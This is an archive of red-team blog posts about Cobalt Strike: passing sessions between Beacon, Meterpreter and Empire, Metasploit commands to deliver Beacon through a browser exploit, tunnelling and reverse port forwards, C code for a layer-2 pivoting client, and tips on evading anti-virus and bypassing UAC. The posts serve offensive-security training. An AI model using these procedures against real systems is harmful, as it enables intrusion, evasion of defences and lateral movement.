Integrations Archives - Cobalt Strike Research and Development

Session Passing from Cobalt Strike

Session passing is using one payload to spawn another payload. Sometimes, the payloads are from the same toolset. Other times, they’re not. Session passing options allow you to hand-off accesses between toolkits and infrastructure.

In this blog post, I’ll take you through the session passing opti in Cobalt Strike.

Multi-server Cobalt Strike (Beacon)

If you want to pass access from one Cobalt Strike instance to another, the best option is to connect your Cobalt Strike client to both servers. Go to Cobalt Strike –> New Connection. Once you connect, Cobalt Strike will show a server switchbar at the bottom of the Cobalt Strike window. This allows you to choose which Cobalt Strike server to work with.

When Cobalt Strike connects to multiple servers in this way, listeners from all servers are available in Cobalt Strike’s workflows. To pass a session from a Beacon on one server to a Beacon on another server, go to [beacon] -> Spawn and choose the listener on the other server. That’s it.

This form of session passing works with Cobalt Strike’s x86 and x64 Beacon. It also takes advantage of any Malleable C2 configuration associated with the payload stager (e.g., the User-Agent).

Foreign Listeners (Meterpreter)

Foreign Listeners are Cobalt Strike’s way to define a listener for a payload handler that is not in your immediate control. The foreign listener generates a stager that downloads and runs a payload from the host and port you specify. Cobalt Strike’s foreign listeners are compatible with the Metasploit Framework’s staging process. This means you can use a foreign listener to easily pass Meterpreter sessions to Metasploit Framework users.

You may use a foreign listener throughout Cobalt Strike’s workflows. To quickly pass a session, try the spawn command in Beacon. I also recommend that you look at the inject command too. The inject command will let you inject a payload listener (foreign or not) into a specific process.

Unmanaged PowerShell Injection (PowerShell Empire)

Beacon’s powerpick command runs a process and injects a DLL that runs PowerShell scripts via a .NET API, no powershell.exe needed. This command is one way to run a loader for a PowerShell agent (e.g., PowerShell Empire). Another option is the psinject command. The psinject command is like powerpick, except it injects into a process you specify. This is a way to spawn a PowerShell agent without creating a new process.

Shellcode Injection (Session Passing without Stagers)

Finally, there’s the shinject command. This command injects a local file containing shellcode into a process of your choosing. Use this to run payloads that have stages or stagers available as a binary blob of position-independent code.

The shinject command is also a way to pass Cobalt Strike sessions without a stager. Go to Attacks -> Packages -> Windows Executable (S) and export a stageless Beacon with raw output. This file is a position-independent blob of code that loads the Beacon stage and runs it. This file is ready-to-use with shinject. This method is the only way to pass SMB Beacon sessions between team servers.

Reflective DLL Injection

Beacon’s dllinject command will inject a Reflective DLL into a process of your choosing. Cobalt Strike is smart enough to pull the architecture from the DLL’s PE header. If you try to inject an x86 DLL into an x64 process it will complain. The dllinject command is a great way to spawn payloads compiled as a Reflective DLL.

Whatever your needs, Cobalt Strike has many options to spawn a payload into another process.

Interoperability with the Metasploit Framework

Cobalt Strike 3.0 is a stand-alone platform for Adversary Simulations and Red Team Operations. It doesn’t depend on the Metasploit Framework. That said, the Metasploit Framework is a wealth of capability and there are places where it adds value. I didn’t forget this in my design of Cobalt Strike 3.0. In this blog post, I’ll show you how to use Cobalt Strike and the Metasploit Framework together. Even though they are two separate entities, there is a lot of synergy between these platforms.

Deliver Beacon with a Metasploit Framework Exploit

You may use a Metasploit Framework exploit to deliver Cobalt Strike’s Beacon. The Beacon payload is compatible with the Metasploit Framework’s staging protocol. To deliver a Beacon with a Metasploit Framework exploit, type:

use exploit/multi/browser/adobe_flash_hacking_team_uaf
set PAYLOAD windows/meterpreter/reverse_http
set LHOST [Cobalt Strike's IP or hostname]
set LPORT 80
set DisablePayloadHandler True
set PrependMigrate True
exploit -j

Here’s an explanation of these commands:

1. Use the exploit module you want to deliver Beacon with.

2. Set PAYLOAD to windows/meterpreter/reverse_http for an HTTP Beacon. Set PAYLOAD to windows/meterpreter/reverse_https for an HTTPS Beacon. You’re not really delivering Meterpreter here. You’re telling the Metasploit Framework to generate an HTTP (or HTTPS) stager to download a payload from the specified LHOST/LPORT.

3. Set LHOST and LPORT to point to your Cobalt Strike listener. Cobalt Strike will know what to do when it receives a request from a Metasploit Framework stager.

4. Set DisablePayloadHandler to True. This tells the Metasploit Framework that it does not need to create a handler within the Metasploit Framework to service a payload connection.

5. Set PrependMigrate to True. This option tells the Metasploit Framework to modify its stager to migrate to another process, immediately after exploitation. This option is very important for client-side attacks. It allows your session to survive if the exploited application crashes or closes.

Tunnel Metasploit Framework Modules through Beacon

Cobalt Strike’s Beacon payload has had SOCKS proxy pivoting since 2013. This form of pivoting makes it easy to tunnel many tools through Beacon. To tunnel the Metasploit Framework through Beacon:

1. Interact with a Beacon and type socks 1234 to create a SOCKS proxy server on port 1234 of your Cobalt Strike team server system.

2. Type sleep 0 in the Beacon console to request that the Beacon become interactive. Tunneling traffic with minimal latency requires that Beacon regularly connects to your controller to exchange read, write, and connect information.

3. Go to View -> Proxy Pivots in Cobalt Strike. This will open a tab that presents all SOCKS proxy servers on your Cobalt Strike team server.

4. Highlight the desired SOCKS pivot and press Tunnel. This will open a dialog that contains a one-liner to paste into the Metasploit Framework.

5. Go to msfconsole and paste in that one-liner. This one-liner will globally set the Metasploit Framework’s Proxies option. This option lets you specify a SOCKS proxy server to send the Metasploit Framework module through.

Use the Metasploit Framework. The exploits and modules you run will tunnel through your Beacon.

If you want to stop tunneling Metasploit through your Beacon, type unsetg Proxies in the Metasploit Framework console.

Spawn Meterpreter from Beacon

Cobalt Strike’s session passing features target listeners. A listener is a name tied to a payload handler and its configuration information. A foreign listener is an alias for a payload handler located elsewhere. Cobalt Strike can pass sessions to the Metasploit Framework with foreign listeners. To create a foreign listener for Meterpreter:

1. Go to Cobalt Strike -> Listeners

2. Press Add

3. Set the Payload type to windows/foreign/reverse_https for HTTPS Meterpreter. Cobalt Strike also has reverse_http and reverse_tcp foreign listeners too.

4. Set The Host and Port of the listener to the LHOST and LPORT of your Meterpreter handler.

5. Press Save

You now have a Cobalt Strike listener that refers to your Metasploit Framework payload handler. You can use this listener with any of Cobalt Strike’s features. To pass a session from Beacon, go to [beacon] -> Spawn and choose your foreign listener.

Spawn Beacon from Meterpreter

To spawn a Beacon from a Meterpreter session use the payload_inject exploit to deliver your Beacon. Here are the steps to do this:

1. Use the exploit/windows/local/payload_inject module

2. Set PAYLOAD to windows/meterpreter/reverse_http for an HTTP Beacon. Set PAYLOAD to windows/meterpreter/reverse_https for an HTTPS Beacon.

3. Set LHOST and LPORT to point to your Cobalt Strike listener.

4. Set DisablePayloadHandler to True.

5. Set SESSION to the session ID of your Meterpreter session

And, here’s what this looks like in the Metasploit Framework console:

use exploit/windows/local/payload_inject
set PAYLOAD windows/meterpreter/reverse_http
set LHOST [IP address of compromised system]
set LPORT 80
set DisablePayloadHandler True
exploit –j

Tunnel Meterpreter through Beacon

Use Beacon’s rportfwd command to turn a system, compromised with Beacon, into a redirector for your Meterpreter sessions. The rportfwd command creates a server socket on a compromised system. Any connections to this server socket result in a new connection to a forward host/port. Traffic between the forward host/port and the connection to the compromised system is tunneled through Beacon.

To create a Meterpreter handler that rides through a Beacon reverse port forward:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST [IP address of compromised system]
set LPORT 8443
set ExitOnSession False
exploit –j

These commands create a Meterpreter HTTPS handler, bound to port 8443, that stages and connects to the IP address of our pivot host.

To create a reverse port forward in Cobalt Strike:

1. Interact with a Beacon on the compromised system you want to pivot through.

2. Use sleep 0 to make the Beacon check-in multiple times each second

3. Type rportfwd 8443 [IP of Metasploit system] 8443 to create a reverse port forward.

You now have a server socket, bound on the compromised system, that forwards connections to your Meterpreter handler. If you want to use that Meterpreter handler from Cobalt Strike, create a foreign listener.

Optionally, use Cobalt Strike’s Pivot Listeners feature to create a reverse port forward and a foreign listener in one step.

Parts 3, 4, and 7 of Advanced Threat Tactics cover the concepts in this blog post.

Cobalt Strike 2015: An Offensive Platform is Born

It’s hard to believe we’re at the end of 2015 and on to 2016. I’ve now had a product on the market for three and a half years. That’s like 27 dog years! It’s a long time for a hacking tool too. 2015 was an exciting year here. Our industry is changing and Cobalt Strike has made changes to keep pace with it.

This year, I pushed five major releases of Cobalt Strike. Here are some of the highlights:

The April 2015 release of Cobalt Strike re-architected Beacon to support post-exploitation jobs. A job is a feature that injects into another process and delivers its results to your Beacon. This allows Beacon to stay, safe and sound, in one process and gather post-exploitation data from another. Beacon’s keystroke logger, screenshot tool, and other features use this mechanism. This release also added native mimikatz and hashdump to Beacon as well.

Cobalt Strike’s July 2015 release took the SMB Beacon to a new level. The SMB Beacon uses a named pipe to receive commands from and relay output through another Beacon. Great feature, but it always had one problem: it didn’t fit into any workflows. This release added a named pipe stager to deliver the SMB Beacon with a lateral movement attack. This release also added lateral movement automation to Beacon. Finally, this release allowed Beacon features to target an SMB Beacon listener for privilege escalation. This is pretty significant when you think about it. If you’re an external actor, it’s not trivial to get a SYSTEM-level session to egress. These changes solve this problem. You simply chain that new SYSTEM-level session through another session that can already get out. This July release also added reverse port forwards to Beacon too. Overall, this release generated more “holy crap!” emails from customers than any other release in the past.

September 2015 saw the introduction of Cobalt Strike 3.0. This release was the pinnacle of this year’s efforts. Cobalt Strike 3.0 was a ground-up rewrite of the Cobalt Strike team server and client without dependence on the Metasploit Framework.

I opted to go in this direction after Cobalt Strike 2.1. This was the release where PowerShell became easy to use through Beacon. After 2.1, it was possible [and in some cases desirable] to operate entirely through Beacon. Much of my post-2.1 work with Cobalt Strike added to Beacon’s feature set. The 3.0 release changed Cobalt Strike’s user interface to expose Beacon’s features and build workflows on top of it. The 3.0 release also overhauled logging and re-imagined the reporting features for the red team problem set. It also introduced a workflow for user exploitation at scale.

And then there’s the Advanced Threat Tactics course. This course came out in September 2015 with Cobalt Strike’s 3.0 release. I was really happy with 2013’s Tradecraft course. At the time it came out, it was the best material I had. Cobalt Strike 3.0 was a big change and with that change had to come a new course. The Advanced Threat Tactics covers a full end-to-end process for targeted phishing, post-exploitation, privilege escalation, reconnaissance, lateral movement, pivoting, and evasion. This course is nearly six hours of material.

The YouTube ID of is invalid.

2015 was the year Cobalt Strike became an offensive platform in its own right. This didn’t happen a moment too soon. Large companies and government entities are either standing up red teams or reinventing the red teams they have. Forward leaning consulting firms are building services to help customers understand how their full security program stands up to realistic attacks. These evolved teams have needs that are different from those that drove vulnerability assessment and penetration testing tools for the past 10+ years. Cobalt Strike’s 2015 releases were laser focused on these needs and where these teams are going with their offensive efforts into 2016 and beyond. Pretty exciting.

Revolutionary Device Detects Mimikatz Use

I see mimikatz as one of the most significant collections of offensive capability available today. Because there’s so much capability, folks are often interested in how to detect its use on their network.

For example, one blog post recommends that use of Honey Hashes to detect mimikatz use. Others might recommend that you look for Kerberos tickets that expire 10 years from now. These are great examples of ways to detect different Mimikatz features. What if I told you there was a way to detect mimikatz use, regardless of feature?

This technology exists. Better, it’s cheap. This Mimikatz Detection Peripheral only costs $50. Here’s a demonstration of this technology in action:

Note: This technology only detects Mimikatz releases built after October 9, 2015.

How I tunnel Meterpreter through Beacon

I write so many blog posts about Beacon, I should just give up and call this the Beacon blog. Beacon is Cobalt Strike’s post-exploitation agent that focuses on communication flexibility and added covert channels.

It’s also possible to tunnel Meterpreter through Beacon with the meterpreter command. In this blog post, I’ll explain how this feature works.


Beacon exposes a SOCKS proxy server to allow the Metasploit Framework and third-party tools to pivot through a Beacon. Each time Beacon checks in, data to write to and data read from ongoing connections is exchanged.

When you type ‘meterpreter’ in a Beacon, two things happen. First I generate a task to make the Beacon check-in multiple times each second. I call this interactive mode. Next, I issue a task that injects a bind_tcp stager into memory on the target. This stager binds to a random high port on A lot of host-based firewalls ignore activity to services bound to localhost.

Once the above steps are complete, Cobalt Strike’s C2 server gets a response from the Beacon stating it’s ready to stage the Meterpreter payload. I stand up a one-time-use SOCKS-compatible port forward. This port forward ignores the client’s specification about which host to connect to. It always connects to I do this because I want the Metasploit Framework to associate the Meterpreter session with the hosts IP, but I want it to stage to localhost.

I then start exploit/multi/handler for windows/meterpreter/bind_tcp. I configure this module to use my SOCKS-compatible port forward with the Proxies option. The Proxies option in the Metasploit Framework allows me to force an outbound Metasploit module through an arbitrary SOCKS proxy. I set RHOST to the IP address of my target.

The handler for Meterpreter bounces through my port forward to hit the bind_tcp stager I put into memory earlier. The payload stages over this connection and then the stager passes control to the Meterpreter payload with the same socket in the EDI register [a detail managed by the stager and the stage].

At this point, I have a Meterpreter session that tunnels through Beacon. Better, I have this session without interference from a host-based firewall (if there is one).

Audiences… or who I think I’m writing for

This is another meta-post about this blog. If you’re not a regular reader of this blog, this post is probably not for you. I’d like to share the different audiences I imagine when I write on this blog. Conveniently, the categories map quite well to audiences.

In the Metasploit Framework category I imagine that I’m writing to members of the Metasploit Framework community. I generally document the undocumented and share things I’ve learned digging deep into the framework here. My assumption is that if I find it interesting, others probably will too.

In the red team category I write a lot about my experiences supporting different cyber defense exercises. Once in a while, I delve into experiences from when I was penetration testing. This category is a mix of techniques and ideas about how to organize a red team. Earlier this year I had the opportunity to take part in a large-scale cyber war game run by folks I hadn’t worked with before. When I arrived, I found out that a big part of how I got there was this blog. Apparently, not enough people talk about how to scale large red teams and collaborate. Who knew?

In the Cobalt Strike category I announce new releases and I write about different Cobalt Strike features. This category is meant for Cobalt Strike’s users. I see my blog as an extension of the online training. I update the online course every two years. In between, this blog is my place to capture the thought process and tradecraft that goes with each new feature. If you want to keep up with the latest of what Cobalt Strike can do or where it’s going, this blog is the place to do it. Often times questions customers ask will end up as posts in this category too.

Once in a great while I make an attempt at writing reference pieces. These are my “What Penetration Testers Should Know” posts. I find these posts incredibly difficult to write. I usually stick these in the red team category. These posts have minimal marketing in them and usually appeal to a broad audience. I know when I want more traffic, I can sequester myself for a week to write one. Sadly, I don’t have many weeks where I can get away with this.

Some past posts:

I also occasionally write blog posts that document a technique and include source code. I think it’s important to continue to share code and knowledge with my peers. These posts are pretty difficult to write as well. The code I release in these contexts is usually meant as something for others to learn from, so I have to take my time to make it clear and document it.

Some past examples of these posts include:

And, finally, I’m starting to write blog posts on industry trends I see. I work with a lot of red teams and services firms through my Cobalt Strike product. These teams buy my product because there’s something they want to do with it. From this vantage point I see penetration testing evolving. The old way probably won’t go away, but I see new kinds of offensive services resonating well with customers. These posts are targeted at those who are championing these ideas within their organizations.

Here’s a few to look at along these lines:

And, that’s pretty much it. I published my post for this week and now I’m off the hook.

Interactive Cortana Programming

Cortana is the scripting engine built into Armitage and Cobalt Strike. It’s based on my Sleep scripting language. Most scripting languages have a REPL (Read, Eval, Print Loop) that allows users to experiment with the technology in an interactive way.

I didn’t build an REPL into Cortana natively, but one is available as a script. This script is eval.cna. Go to the Cortana Github repository, download eval.cna, and load it into Armitage or Cobalt Strike. You can do this through the Armitage -> Scripts.

Go to View -> Script Console to open the Cortana console. The eval.cna script adds three commands to the Cortana console. These are x, ?, and e.

The x command evaluates an expression and prints the result. In Sleep, this is anything you can assign to a variable or pass as an argument to a function. For example, x 2 + 2 prints out 4.

The ? command evaluates a Sleep predicate expression and prints whether its true or false. A predicate is anything you can use in an if statement or while loop. For example, ? -iswinmeterpreter 1 prints true if session 1 is a Windows Meterpreter session.

Finally, the e command evaluates one or more Sleep statements. Use this command to quickly try out a for loop or a more complicated series of statements.

These commands make it very easy to explore Cortana and interactively interrogate your Cobalt Strike or Armitage instance. If you’d like to learn more about Cortana, I recommend that you consult its documentation.

How VPN Pivoting Works (with Source Code)

A VPN pivot is a virtual network interface that gives you layer-2 access to your target’s network. Rapid7’s Metasploit Pro was the first pen testing product with this feature. Core Impact has this capability too.

In September 2012, I built a VPN pivoting feature into Cobalt Strike. I revised my implementation of this feature in September 2014. In this post, I’ll take you through how VPN pivoting works and even provide code for a simple layer-2 pivoting client and server you can play with. The layer-2 pivoting client and server combination don’t have encryption, hence it’s not correct to refer to them as VPN pivoting. They’re close enough to VPN pivoting to benefit this discussion though.

The VPN Server

Let’s start with a few terms: The attacker runs VPN server software. The target runs a VPN client. The connection between the client and the server is the channel to relay layer-2 frames.

To the attacker, the target’s network is available through a virtual network interface. This interface works like a physical network interface. When one of your programs tries to interact with the target network, the operating system will make the frames it would drop onto the wire available to the VPN server software. The VPN server consumes these frames, relays them over the data channel to the VPN client. The VPN client receives these frames and dumps them onto the target’s network.

Here’s what the process looks like:


The TAP driver makes this possible. According to its documentation, the TUN/TAP provides packet reception and transmission for user space programs. The TAP driver allows us to create a (virtual) network interface that we may interact with from our VPN server software.

Here’s the code to create a TAP [adapted from the TUN/TAP documentation]:

#include <linux/if.h>
#include <linux/if_tun.h>

int tun_alloc(char *dev) {
struct ifreq ifr;
int fd, err;

if( (fd = open("/dev/net/tun", O_RDWR)) < 0 )
return tun_alloc_old(dev);

memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;

if( *dev )
strncpy(ifr.ifr_name, dev, IFNAMSIZ);

if( (err = ioctl(fd, TUNSETIFF, (void *) &ifr)) < 0 ) {
return err;

strcpy(dev, ifr.ifr_name);
return fd;

This function allocates a new TAP. The dev parameter is the name of our interface. This is the name we will use with ifconfig and other programs to configure it. The number it returns is a file descriptor to read from or write to the TAP.

To read a frame from a TAP:

int totalread = read(tap_fd, buffer, maxlength);

To write a frame to a TAP:

write(tap_fd, buffer, length);

These functions are the raw ingredients to build a VPN server. To demonstrate tunneling frames over layer 2, we’ll take advantage of simpletun.c by Davide Brini.

simpletun.c is an example of using a network TAP. It’s ~300 lines of code that demonstrates how to send and receive frames over a TCP connection. This GPL(!) example accompanies Brini’s wonderful Tun/Tap Interface Tutorial. I recommend that you read it.

When simpletun.c sends a frame, it prefixes the frame with an unsigned short in big endian order. This 2-byte number, N, is the length of the frame in bytes. The next N bytes are the frame itself. simpletun.c expects to receive frames the same way.

To build simpletun:

gcc simpletun.c -o simpletun

Note: simpletun.c allocates a small buffer to hold frame data. Change BUFSIZE on line 42 to a higher value, like 8192. If you don’t do this, simpletun.c will eventually crash. You don’t want that.

To start simpletun as a server:

./simpletun -i [interface] -s -p [port] -a

The VPN Client

Now that we understand the VPN server, let’s discuss the VPN pivoting client. Cobalt Strike’s VPN pivoting client sniffs traffic on the target’s network. When it sees frames, it relays them to the VPN pivoting server, which writes them to the TAP interface. This causes the server’s operating system to process the frames as if they were read off of the wire.


Let’s build a layer-2 pivoting client that implements similar logic. To do this, we will use the Windows Packet Capture API. WinPcap is the Windows implementation of  LibPCAP and RiverBed Technology maintains it.

First, we need to open up the target network device that we will pivot onto. We also need to put this device into promiscuous mode. Here’s the code to do that:

pcap_t * raw_start(char * localip, char * filterip) {
pcap_t * adhandle   = NULL;
pcap_if_t * d       = NULL;
pcap_if_t * alldevs = NULL;
char errbuf[PCAP_ERRBUF_SIZE];

/* find out interface */
d = find_interface(&alldevs, localip);

/* Open the device */
adhandle = (pcap_t *)pcap_open(d->name, 65536, PCAP_OPENFLAG_PROMISCUOUS | PCAP_OPENFLAG_NOCAPTURE_LOCAL, 1, NULL, errbuf);
if (adhandle == NULL) {
printf("\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
return NULL;

/* filter out the specified host */
raw_filter_internal(adhandle, d, filterip, NULL);

/* ok, now we can free out list of interfaces */

return adhandle;

Next, we need to connect to the layer-2 pivoting server and start a loop that reads frames and sends them to our server. I do this in raw.c. Here’s the code to ask WinPcap to call a function when a frame is read:

void raw_loop(pcap_t * adhandle, void (*packet_handler)(u_char *, const struct pcap_pkthdr *, const u_char *)) {
pcap_loop(adhandle, 0, packet_handler, NULL);

The packet_handler function is my callback to respond to each frame read by WinPCAP. It writes frames to our layer-2 pivoting server. I define this function in tunnel.c.

void packet_handler(u_char * param, const struct pcap_pkthdr * header, const u_char * pkt_data) {
/* send the raw frame to our server */
client_send_frame(server, (void *)pkt_data, header->len);

I define client_send_frame in client.c. This function writes the frame’s length and data to our layer-2 pivoting server connection. If you want to implement a new channel or add encryption to make this a true VPN client, client.c is the place to explore this.

We now know how to read frames and send them to the layer-2 pivoting server.

Next, we need logic to read frames from the server and inject these onto the target network. In tunnel.c, I create a thread that calls client_recv_frame in a loop. The client_recv_frame function reads a frame from our connection to the layer-2 server. The pcap_sendpacket function injects a frame onto the wire.

DWORD ThreadProc(LPVOID param) {
char * buffer = malloc(sizeof(char) * 65536);
int len, result;
unsigned short action;

while (TRUE) {
len = client_recv_frame(server, buffer, 65536);

/* inject the frame we received onto the wire directly */
result = pcap_sendpacket(sniffer, (u_char *)buffer, len);
if (result == -1) {
printf("Send packet failed: %d\n", len);

This logic is the guts of our layer-2 pivoting client. The project is ~315 lines of code and this includes headers. Half of this code is in client.c which is an abstraction of the Windows Socket API. I hope you find it navigable.

To run the layer-2 pivoting client:

client.exe [server ip] [server port] [local ip]

Once the layer-2 client connects to the layer-2 server, use a DHCP client to request an IP address on your attack server’s network interface [or configure an IP address with ifconfig].

Build Instructions

I’ve made the source code for this simple Layer-2 client available under a BSD license. You will need to download the Windows PCAP Developer Pack and extract it to the folder where the layer-2 client lives. You can build the layer-2 client on Kali Linux with the included Minimal GNU for Windows Cross Compiler. Just type ‘make’ in its folder.


To try this Layer-2 client, you will need to install WinPcap on your target system. You can download WinPcap from RiverBed Technology. And, that’s it. I hope you’ve enjoyed this deep dive into VPN pivoting and how it works.

The layer-2 client is a stripped down version of Cobalt Strike’s Covert VPN feature. Covert VPN compiles as a reflective DLL. This allows Cobalt Strike to inject it into memory. The Covert VPN client and server encrypt the VPN traffic [hence, VPN pivoting]. Covert VPN will also silently drop a minimal WinPcap install and clean it up for you. And, Covert VPN supports multiple data channels. It’ll tunnel frames over TCP, UDP, HTTP, or through Meterpreter.

Why can’t I psexec with EXE::Custom?

Seasoned Metasploit Framework users know that it’s a bad idea to let the framework generate an executable for you.

The framework’s encoders are not a tool to get past anti-virus. By happy accident, an encoded payload would get past some anti-virus products, but that was four or five years ago. If the Metasploit Framework generates an executable for you–it will get caught.

What’s an aspiring hacker to do? Fortunately, Metasploit Framework modules that generate executables expose an option, EXE::Custom. If you set this option to your own executable the module will use it, instead of generating an executable that will get caught.

This is a good time to become familiar with a tool or framework to generate executables. The Veil Framework is a good option.

For most modules, EXE::Custom is as simple as I’ve described here. Provide your own executable and enjoy freedom from detection. That said, there are two cases where you need to pay special attention to the file you provide.


The windows/smb/psexec module will generate an executable, copy it to a target, and create a service to run it. There’s two caveats for this executable.

When you run an executable as a service, it must respond to commands from the Service Control Manager. If you provide a normal executable, Windows will automatically kill it for you and you will not get your session.

Also, beware that the PsExec module will create a service, start it, and immediately try to stop it. The module will appear to hang until the stop operation completes. This has an implication for the design of your executable. To behave as this module expects–your service executable should start another program and inject your payload into that. If you do not pay attention to this detail, you may notice that your payload will appear to die after 30 to 60 seconds. The service stop operation will force kill your program after a grace period.

Check out the source to the Metasploit Framework’s version of this executable.


One of my favorite privilege escalation options is the UAC bypass. The Metasploit Framework’s bypassuac attack takes advantage of a loophole to write a malicious DLL to c:\windows\system32\sysprep. It then launches sysprep.exe which will load the malicious DLL. This gives us elevation because sysprep.exe automatically starts itself in a high integrity (read: privileged) context.

In early 2014, Meatballs created a variant of this attack that touches disk only when necessary. This is the bypassuac_injection module.

This module also accepts an EXE::Custom option. Do not be fooled. This option does not accept an Executable. It expects a DLL. This is the malicious DLL that sysprep.exe will load.

You want to make your custom UAC DLL spawn a new process, inject your payload into it, and immediately cause the current program [sysprep.exe] to exit. This is the least disruptive experience for the desktop user. If your target is a 64-bit system, make sure you provide a 64-bit DLL.

Check out the source to the Metasploit Framework’s version of this DLL. [Note: If you read this DLL’s source code, at first read, it will look like the current program doesn’t exit. It does. When the Metasploit Framework populates the compiled DLL template, it adds code to exit the current process.]

That was a fun fire drill…

Last week saw the release of Metasploit 4.10. Those who use Armitage and Cobalt Strike noticed that neither tool worked after running msfupdate on Kali Linux. That’s resolved now. Last night, I pushed Armitage and Cobalt Strike updates to fix the database.yml not found issue AND to make both tools compatible with Metasploit 4.10’s new database scheme for credentials. The latter was not a one-day change.

In this post, I’d like to share how I manage Metasploit Framework updates, my expectations for you, and what to expect from me the next time an incompatibility arises.

The Metasploit Framework is a core dependency for Armitage and Cobalt Strike. Some of you like to update this dependency very regularly. I don’t fault you for this. Know that with each update, there’s a possibility that Armitage and Cobalt Strike could break. This doesn’t happen often, but the possibility is still there.

To protect against this, I bless a particular Metasploit version with each release of Cobalt Strike and Armitage. I document this in the Cobalt Strike release notes and Armitage change log. This is the version of the Metasploit Framework that I QA’d Cobalt Strike against and certify as functional. I don’t always certify the latest version of the Metasploit Framework either. Sometimes, I find a framework bug that I consider a show stopper. At those times, I dig to find out which commit caused that bug. I report it to the Metasploit Framework team. I then QA an older version of the Metasploit Framework and certify my tools against it.

In general, if you use Cobalt Strike, you should use the version of the Metasploit Framework that I last blessed. This will help you avoid surprises. The quick-msf-setup script included with Cobalt Strike sets up an environment that went through my QA process.

Kali Linux users are a special case. Kali Linux users update the framework with msfupdate. This pulls the latest stable build of the Metasploit Framework blessed by Rapid7. Generally, this isn’t a problem and these updates work great. Last week was an exception.

If a Metasploit update impacts Cobalt Strike in a big way, I will communicate with you as soon as I know about it. My vehicle to do this is the Cobalt Strike Technical Notes mailing list [signup at the top]. I published a note about Metasploit 4.10 to the list on Thursday. I also announced my 4.10-compatible update to this list today. If you want to hear from me, I recommend that you sign up for that list.

If you’re an Armitage user, know this: I keep Armitage and Cobalt Strike’s codebases in sync. I have a good process to do this. If there’s a Metasploit change that affects both tools, I will update both tools at the same time. The latest Armitage version works with Metasploit 4.10 as well. The package is in Kali Linux now. Use apt-get update to get it.